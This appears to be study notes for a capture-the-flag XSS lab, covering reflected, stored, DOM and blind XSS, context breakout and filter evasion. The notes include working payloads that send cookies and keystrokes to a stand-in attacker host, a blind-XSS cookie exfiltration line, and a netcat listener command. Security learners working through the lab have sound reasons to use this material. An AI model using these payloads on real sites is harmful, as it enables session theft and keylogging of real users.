XSS is an injection vulnerability where attacker-controlled JavaScript ends up executing in a victim’s browser under the target site’s origin. Your job: find reflection/storage, break out of the context safely, and prove execution (then escalate impact if allowed).
Payload = intention + modification. Intention is what you want JS to do; modification is how you make it execute in the current HTML/JS context.
<script>alert('XSS')</script><script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie))</script><script>document.onkeypress=e=>fetch('https://hacker.thm/log?key='+btoa(e.key))</script>Reality: modern apps often use HttpOnly cookies, so cookie stealing may fail — still valid to demonstrate execution and impact via other actions.
User input in the request gets reflected into the response without proper escaping/validation.
Your payload is stored (DB/comment/profile) and executes when others view it.
Execution happens in the browser when JS reads attacker-controlled data (e.g. location.hash) and writes it to the DOM unsafely.
location usage and sinks like innerHTML, document.write, eval.Like stored XSS, but you can’t see it fire — you need an out-of-band callback to confirm.
What you inject into determines what you need to break out of.
<script>alert('THM')</script>value="..."): close quotes + tag: "><script>alert('THM')</script></textarea><script>alert('THM')</script>';alert('THM');//If a filter removes the word script, you can sometimes “split” it so the filter deletes the inner match and leaves script intact:
<sscriptcript>alert('THM');</sscriptcript>
# becomes
<script>alert('THM');</script>
If you can’t inject tags, try breaking into existing tags and using events (e.g. onload, onerror).
/images/cat.jpg" onload="alert('THM');
Polyglots: a single string that can break out of multiple contexts and survive filters. Useful when you don’t know the exact sink.
Room flow: create a support ticket, observe reflection in page source, escape the context, then add a callback payload to confirm execution by staff.
</textarea><script>fetch('http://URL_OR_IP:PORT?cookie=' + btoa(document.cookie));</script>
Use a listener (e.g. nc -nlvp 9001) or a request catcher to see the callback.
alert), then escalate impact only if allowed.